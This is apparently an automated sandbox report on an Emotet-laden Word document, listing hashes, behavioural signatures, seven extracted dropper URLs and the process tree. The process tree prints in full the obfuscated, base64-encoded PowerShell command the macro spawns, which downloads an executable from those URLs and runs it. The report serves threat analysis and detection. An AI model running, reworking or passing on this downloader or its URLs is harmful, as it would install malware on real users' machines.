Overview

overview

10

Static

static

8

emotet_e1_...px.doc

windows7_x64

10

emotet_e1_...px.doc

windows10_x64

10

Analysis

  • max time kernel
    134s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28/10/2020, 11:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_0c0c445120a94656925767eb5fdc3588cdc8391154c4893772eed3802c19e09d_2020-10-28__114535944747._fpx.doc
  • Size 219KB
  • Sample201028-esheld3596
  • SHA256 0c0c445120a94656925767eb5fdc3588cdc8391154c4893772eed3802c19e09d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://servitekifix.com/wp-admin/C/
  • exe.dropper

    http://www.pacificfe.com/shadow-health/nQ/
  • exe.dropper

    http://bridgestoworkapp.com/wp-content/c1/
  • exe.dropper

    http://www.ruiermi.com/wp-admin/jmb/
  • exe.dropper

    http://edirnereklamajansi.com/wp-includes/dN/
  • exe.dropper

    https://dartzeel.com/wp-content/yf/
  • exe.dropper

    https://datablockssolutions.com/rgit/kd6/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0c0c445120a94656925767eb5fdc3588cdc8391154c4893772eed3802c19e09d_2020-10-28__114535944747._fpx.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1512
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgACQASwBkAHoAaABBAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAC4AZABpAFIAZQBDAFQATwByAFkAJwAsACcAbQAnACwAJwAuAGkATwAnACwAJwBzAHkAUwBUAEUAJwApACAAIAA7AFMARQBUAC0ASQB0AGUAbQAgACAAVgBhAFIAaQBBAGIAbABFADoAeQBtADUAZwByACAAKAAgACAAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsANgB9AHsAOAB9AHsANAB9AHsANwB9AHsAMgB9AHsAMQB9AHsANQB9AHsAMwB9ACIAIAAtAEYAJwBTAHkAcwB0AEUAbQAuAE4ARQBUAC4AcwBlAHIAJwAsACcAbQAnACwAJwB0ACcALAAnAGcARQByACcALAAnAE8AJwAsACcAYQBOAEEAJwAsACcAVgBJACcALAAnAGkATgAnACwAJwBjAGUAcAAnACkAKQA7ACQAVABwAHoAbABuADMAdgA9ACgAKAAnAEQAZAAnACsAJwBqAGUAagAnACkAKwAnAGkAJwArACcAXwAnACkAOwAkAEoAbAAzAHkANgBkAGcAPQAkAEIAMQAzAGgAcQA5AF8AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEUAOQBnAHgANABqAGgAOwAkAEgAbwA4AHEAbwA2AGIAPQAoACgAJwBZACcAKwAnAGQAOAAnACkAKwAoACcAZQAzACcAKwAnADkAYQAnACkAKQA7ACAAIAAoACAAIABnAGUAVAAtAFYAYQByAGkAYQBiAEwARQAgACAASwBkAHoAaABBACAAIAApAC4AdgBBAGwAVQBlADoAOgAiAEMAUgBFAGEAVABgAEUAZABgAGkAcgBlAGMAVABgAG8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAUQA5ACcAKwAoACcATABYACcAKwAnAHMANgBiAGgAJwArACcAYQAnACkAKwAnAGMAUQAnACsAJwA5AEwAJwArACgAJwBSACcAKwAnAGQAMgAnACkAKwAoACcAcgAnACsAJwBzADUAYgAnACsAJwBRADkAJwApACsAJwBMACcAKQAuACIAUgBFAFAATABgAEEAYwBlACIAKAAoACcAUQAnACsAJwA5AEwAJwApACwAJwBcACcAKQApACkAOwAkAEMAbQBwADMAYwA1ADkAPQAoACcATABwACcAKwAnAGYAJwArACgAJwBwAHYAMAAnACsAJwA5ACcAKQApADsAIAAgACgAVgBBAFIASQBhAEIAbABlACAAIAB5AG0ANQBHAFIAIAAgAC0AdgBBAEwAdQBFAG8AbgAgACkAOgA6ACIAcwBgAEUAQwBVAFIASQB0AHkAYABQAFIAbwBUAGAATwBjAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADEANgA2AGwAdQBhAD0AKAAnAFIAJwArACgAJwB3AGoAbgAnACsAJwBiADYAdAAnACkAKQA7ACQATQBpAGQAegAxAGwAXwAgAD0AIAAoACgAJwBYADEAJwArACcAdAAnACkAKwAoACcAcgAnACsAJwA1AHAAJwApACkAOwAkAEwAcgBjAGEAMAAxAHcAPQAoACcAWgBmACcAKwAnAF8AaQAnACsAKAAnAGIAYwAnACsAJwBmACcAKQApADsAJABPAGwAaQBkAHIAdQB1AD0AKAAoACcAUAAnACsAJwA4ADgAcwA3AHEAJwApACsAJwByACcAKQA7ACQASAA3ADMAeABxAGEANwA9ACQASABPAE0ARQArACgAKAAoACcAZABvAHUAWAAnACsAJwBzADYAYgBoAGEAJwArACcAYwAnACkAKwAoACcAZABvAHUAUgBkACcAKwAnADIAJwApACsAJwByAHMAJwArACgAJwA1ACcAKwAnAGIAZABvAHUAJwApACkALQBSAGUAcABsAGEAQwBFACAAKAAnAGQAbwAnACsAJwB1ACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABNAGkAZAB6ADEAbABfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATQBrAHAAbwBqAHQAYgA9ACgAKAAnAEIAYgBrAGkAJwArACcAYgAnACkAKwAnAHgAcgAnACkAOwAkAFkAdAA0AGYAOQBfAHkAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAQwBMAEkARQBuAFQAOwAkAEgAdQA5AGkAMQB2AHQAPQAoACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAXQBbACcAKwAnACAAJwApACsAJwAoACcAKwAoACcAMAAgAGgAdQBCACcAKwAnAEoAJwApACsAKAAnACAAJwArACcAWwBdACcAKQArACgAKAAnACAAWwBdACcAKwAnAHcAXQBbACAAKAAwACcAKwAnACAAJwArACcAaAAnACkAKQArACgAJwB1ACcAKwAnAEIASgAnACkAKwAoACcAIABbAF0AIAAnACsAJwBbAF0AdwBzAGUAJwArACcAcgAnACsAJwB2ACcAKQArACcAaQAnACsAKAAnAHQAZQBrAGkAZgAnACsAJwBpACcAKQArACcAeAAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AXQBbACcAKwAnACAAJwApACsAKAAoACcAKAAwACAAJwArACcAaAB1ACcAKQApACsAKAAnAEIASgAnACsAJwAgAFsAJwArACcAXQAgAFsAXQB3AHcAcAAtAGEAZAAnACkAKwAnAG0AaQAnACsAKAAnAG4AJwArACcAXQBbACAAJwApACsAKAAoACcAKAAwACcAKQApACsAJwAgACcAKwAnAGgAJwArACgAJwB1ACcAKwAnAEIASgAnACkAKwAnACAAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AJwApACsAKAAnAHcAJwArACcAQwBdAFsAJwApACsAKAAoACcAIAAoADAAJwArACcAIABoACcAKQApACsAJwB1ACcAKwAoACcAQgBKACcAKwAnACAAJwApACsAJwBbACcAKwAnAF0AJwArACgAJwAgAFsAXQB3AEAAaAB0ACcAKwAnAHQAJwArACcAcAAnACkAKwAoACcAOgBdACcAKwAnAFsAJwApACsAJwAgACcAKwAnACgAJwArACgAJwAwACAAaAB1ACcAKwAnAEIASgAgACcAKwAnAFsAJwApACsAJwBdACAAJwArACcAWwAnACsAKAAoACcAXQB3AF0AJwArACcAWwAnACsAJwAgACcAKwAnACgAMAAgAGgAJwApACkAKwAoACcAdQBCACcAKwAnAEoAIABbACcAKQArACgAJwBdACcAKwAnACAAWwAnACkAKwAoACcAXQB3AHcAdwB3AC4AcABhACcAKwAnAGMAJwArACcAaQAnACsAJwBmAGkAYwAnACkAKwAoACcAZgBlAC4AYwAnACsAJwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAnACsAJwAwACcAKwAnACAAJwArACcAaAB1AEIASgAnACkAKQArACcAIABbACcAKwAoACcAXQAnACsAJwAgAFsAXQB3ACcAKQArACgAJwBzAGgAYQAnACsAJwBkACcAKQArACgAJwBvAHcAJwArACcALQAnACkAKwAnAGgAJwArACgAJwBlACcAKwAnAGEAbAB0AGgAJwApACsAJwBdAFsAJwArACgAKAAnACAAKAAnACkAKQArACcAMAAgACcAKwAnAGgAJwArACcAdQAnACsAJwBCACcAKwAnAEoAJwArACcAIAAnACsAKAAnAFsAXQAgAFsAXQAnACsAJwB3AG4AJwArACcAUQAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAoACcAKwAnADAAIABoAHUAJwApACkAKwAoACcAQgAnACsAJwBKACAAWwBdACcAKQArACcAIABbACcAKwAoACcAXQB3AEAAJwArACcAaAAnACkAKwAoACgAJwB0AHQAJwArACcAcAA6ACcAKwAnAF0AWwAgACgAJwArACcAMAAgAGgAdQBCACcAKQApACsAJwBKACcAKwAnACAAJwArACgAJwBbAF0AJwArACcAIABbACcAKQArACgAJwBdAHcAJwArACcAXQBbACcAKQArACgAKAAnACAAKAAnACkAKQArACgAJwAwACAAJwArACcAaAB1AEIASgAgAFsAJwApACsAKAAnAF0AIABbACcAKwAnAF0AdwBiACcAKQArACcAcgAnACsAJwBpAGQAJwArACgAJwBnAGUAJwArACcAcwB0AG8AJwArACcAdwAnACsAJwBvAHIAawBhAHAAcAAuACcAKQArACgAKAAnAGMAbwBtACcAKwAnAF0AWwAgACgAJwApACkAKwAnADAAIAAnACsAJwBoAHUAJwArACcAQgBKACcAKwAoACcAIABbACcAKwAnAF0AIABbACcAKwAnAF0AdwB3AHAALQBjAG8AbgAnACkAKwAnAHQAJwArACgAKAAnAGUAJwArACcAbgB0AF0AWwAgACgAJwApACkAKwAoACcAMAAnACsAJwAgACcAKwAnAGgAJwArACcAdQBCAEoAIABbAF0AJwApACsAJwAgACcAKwAoACcAWwAnACsAJwBdAHcAYwAxAF0AJwApACsAJwBbACAAJwArACcAKAAnACsAJwAwACcAKwAoACcAIABoAHUAJwArACcAQgAnACkAKwAoACcASgAgAFsAJwArACcAXQAnACkAKwAoACcAIABbAF0AdwAnACsAJwBAACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAKAAoACcAOgBdAFsAIAAoADAAJwArACcAIAAnACkAKQArACcAaAB1ACcAKwAnAEIASgAnACsAJwAgAFsAJwArACcAXQAgACcAKwAoACgAJwBbAF0AJwArACcAdwBdAFsAIAAoACcAKwAnADAAIAAnACkAKQArACgAJwBoACcAKwAnAHUAQgAnACkAKwAnAEoAIAAnACsAJwBbAF0AJwArACcAIABbACcAKwAoACcAXQB3AHcAJwArACcAdwAnACkAKwAoACcAdwAuAHIAJwArACcAdQAnACsAJwBpAGUAJwApACsAKAAnAHIAbQAnACsAJwBpAC4AYwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAwACcAKwAnACAAJwArACcAaAB1ACcAKQApACsAKAAnAEIASgAgACcAKwAnAFsAXQAgAFsAJwApACsAKAAnAF0AdwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAKAAoACcAaQBuACcAKwAnAF0AJwArACcAWwAgACgAJwApACkAKwAnADAAJwArACgAJwAgAGgAJwArACcAdQAnACkAKwAoACcAQgBKACcAKwAnACAAJwApACsAKAAnAFsAJwArACcAXQAgAFsAXQAnACsAJwB3ACcAKQArACcAagBtACcAKwAoACcAYgAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAoADAAJwArACcAIABoAHUAQgAnACkAKQArACcASgAnACsAJwAgACcAKwAnAFsAXQAnACsAJwAgAFsAJwArACcAXQAnACsAKAAnAHcAJwArACcAQABoAHQAdABwACcAKQArACgAJwA6ACcAKwAnAF0AWwAnACkAKwAoACgAJwAgACgAMAAnACsAJwAgAGgAdQAnACsAJwBCAEoAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgAFsAXQAnACsAJwB3AF0AJwArACcAWwAgACgAMAAgAGgAJwArACcAdQBCACcAKQApACsAJwBKACcAKwAnACAAJwArACgAJwBbAF0AIAAnACsAJwBbAF0AJwArACcAdwBlACcAKQArACgAJwBkACcAKwAnAGkAcgBuACcAKQArACcAZQByACcAKwAoACcAZQAnACsAJwBrAGwAYQBtAGEAJwArACcAagBhAG4AcwBpAC4AYwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAnACsAJwAwACcAKQApACsAJwAgACcAKwAnAGgAJwArACgAJwB1ACcAKwAnAEIASgAnACkAKwAoACcAIABbAF0AIABbACcAKwAnAF0AdwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAJwBkAGUAJwArACgAKAAnAHMAJwArACcAXQBbACAAJwArACcAKAAwACcAKwAnACAAaAB1AEIASgAnACkAKQArACgAJwAgAFsAJwArACcAXQAnACkAKwAnACAAJwArACcAWwBdACcAKwAoACcAdwAnACsAJwBkAE4AXQAnACkAKwAnAFsAJwArACgAKAAnACAAJwArACcAKAAwACAAaAAnACkAKQArACcAdQAnACsAKAAnAEIASgAgAFsAJwArACcAXQAgACcAKQArACgAJwBbAF0AdwBAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AF0AWwAgACgAMAAnACsAJwAgACcAKQApACsAKAAnAGgAdQBCACcAKwAnAEoAJwApACsAKAAnACAAWwBdACcAKwAnACAAJwApACsAKAAnAFsAXQAnACsAJwB3AF0AWwAnACkAKwAnACAAJwArACgAKAAnACgAMAAgACcAKwAnAGgAJwApACkAKwAoACcAdQBCACcAKwAnAEoAJwApACsAJwAgAFsAJwArACgAJwBdACAAWwBdAHcAJwArACcAZAAnACsAJwBhAHIAdAAnACkAKwAnAHoAJwArACgAJwBlAGUAbAAuAGMAJwArACcAbwBtAF0AJwArACcAWwAgACcAKQArACgAKAAnACgAJwArACcAMAAgACcAKQApACsAJwBoAHUAJwArACcAQgAnACsAKAAnAEoAIAAnACsAJwBbACcAKQArACgAJwBdACcAKwAnACAAWwBdAHcAJwApACsAJwB3AHAAJwArACcALQAnACsAJwBjACcAKwAnAG8AJwArACgAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwBdAFsAJwArACcAIAAoADAAIABoAHUAQgAnACkAKQArACgAJwBKACcAKwAnACAAWwBdACcAKQArACgAKAAnACAAWwBdACcAKwAnAHcAeQBmAF0AWwAgACgAJwArACcAMAAgAGgAdQBCAEoAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwBAAGgAdAB0AHAAcwA6ACcAKQApACsAJwBdACcAKwAoACgAJwBbACAAKAAwACcAKwAnACAAaAAnACkAKQArACcAdQBCACcAKwAoACcASgAnACsAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3AF0AWwAgACcAKQArACgAKAAnACgAMAAgAGgAdQBCACcAKwAnAEoAIAAnACkAKQArACcAWwAnACsAKAAnAF0AJwArACcAIABbAF0AdwAnACsAJwBkAGEAdABhAGIAbAAnACsAJwBvAGMAJwApACsAJwBrAHMAJwArACgAJwBzAG8AbAB1ACcAKwAnAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0AXQBbACcAKwAnACAAJwArACcAKAAwACAAJwApACkAKwAnAGgAdQAnACsAJwBCACcAKwAnAEoAJwArACcAIAAnACsAKAAnAFsAXQAgACcAKwAnAFsAJwApACsAKAAnAF0AJwArACcAdwByACcAKQArACgAJwBnAGkAJwArACcAdAAnACkAKwAnAF0AWwAnACsAJwAgACcAKwAoACgAJwAoACcAKwAnADAAIABoACcAKwAnAHUAQgBKACAAJwApACkAKwAnAFsAXQAnACsAJwAgACcAKwAoACcAWwBdAHcAJwArACcAawBkADYAJwArACcAXQBbACcAKQArACgAKAAnACAAKAAnACkAKQArACgAJwAwACcAKwAnACAAaAAnACkAKwAoACcAdQBCACcAKwAnAEoAIAAnACkAKwAoACcAWwBdACAAWwAnACsAJwBdAHcAJwApACkAKQAuACIAUgBFAGAAUABgAEwAYQBDAEUAIgAoACgAKAAoACcAXQAnACsAJwBbACAAJwApACsAJwAoACcAKwAoACcAMAAgACcAKwAnAGgAdQBCAEoAIAAnACsAJwBbACcAKQArACgAJwBdACAAWwAnACsAJwBdAHcAJwApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBQAGAATABpAHQAIgAoACQAVAB1ADAAZwB2AGwAXwAgACsAIAAkAEoAbAAzAHkANgBkAGcAIAArACAAJABYAGsAcABjADUAZQB6ACkAOwAkAFIAOAAyADMAeQAzADgAPQAoACcASAAyACcAKwAoACcAYgAnACsAJwBwAGsAbQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABSADIAdwBhAHUAdQB3ACAAaQBuACAAJABIAHUAOQBpADEAdgB0ACkAewB0AHIAeQB7ACQAWQB0ADQAZgA5AF8AeQAuACIARABgAG8AVwBOAEwAYABvAEEAZABgAEYASQBsAEUAIgAoACQAUgAyAHcAYQB1AHUAdwAsACAAJABIADcAMwB4AHEAYQA3ACkAOwAkAEsAMgAyAGwAcgBsAHMAPQAoACgAJwBIAHQAJwArACcAcwAnACkAKwAnAF8AJwArACgAJwBlACcAKwAnADAAeQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABIADcAMwB4AHEAYQA3ACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAANAA4ADYANAA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAnACkAKwAnADMAMgAnACsAJwBfAFAAJwArACgAJwByAG8AJwArACcAYwAnACsAJwBlAHMAcwAnACkAKQApAC4AIgBDAGAAUgBFAGAAQQBUAEUAIgAoACQASAA3ADMAeABxAGEANwApADsAJABTAHUAZgA3ADEAcwBhAD0AKAAnAFgAJwArACcANwA2ACcAKwAoACcAagB1AHcAJwArACcAdgAnACkAKQA7AGIAcgBlAGEAawA7ACQATAB5AGMAbwBuAGMAbgA9ACgAKAAnAFAAcgBmACcAKwAnAGoAJwApACsAJwA5ACcAKwAnADgAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAYwB1ADMAdwBkAHoAPQAoACcAVAAnACsAKAAnAHkAJwArACcAdQBwAHkAOAAnACkAKwAnADIAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1964
  • C:\Users\Admin\Xs6bhac\Rd2rs5b\X1tr5p.exe
    C:\Users\Admin\Xs6bhac\Rd2rs5b\X1tr5p.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1692

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1512-0-0x0000000005D0D000-0x0000000005D10000-memory.dmp
        Download

        memory/1512-1-0x0000000006250000-0x0000000006254000-memory.dmp
        Download

        memory/1512-2-0x0000000005D0D000-0x0000000005D10000-memory.dmp
        Download

        memory/1512-3-0x0000000005D10000-0x0000000005D19000-memory.dmp
        Download

        memory/1964-4-0x000007FEF5B30000-0x000007FEF651C000-memory.dmp
        Download

        memory/1964-5-0x0000000002400000-0x0000000002401000-memory.dmp
        Download

        memory/1964-6-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1964-7-0x0000000002570000-0x0000000002571000-memory.dmp
        Download

        memory/1964-8-0x0000000002360000-0x0000000002361000-memory.dmp
        Download

        memory/1964-9-0x000000001B8E0000-0x000000001B8E1000-memory.dmp
        Download

        memory/1964-10-0x000000001C360000-0x000000001C361000-memory.dmp
        Download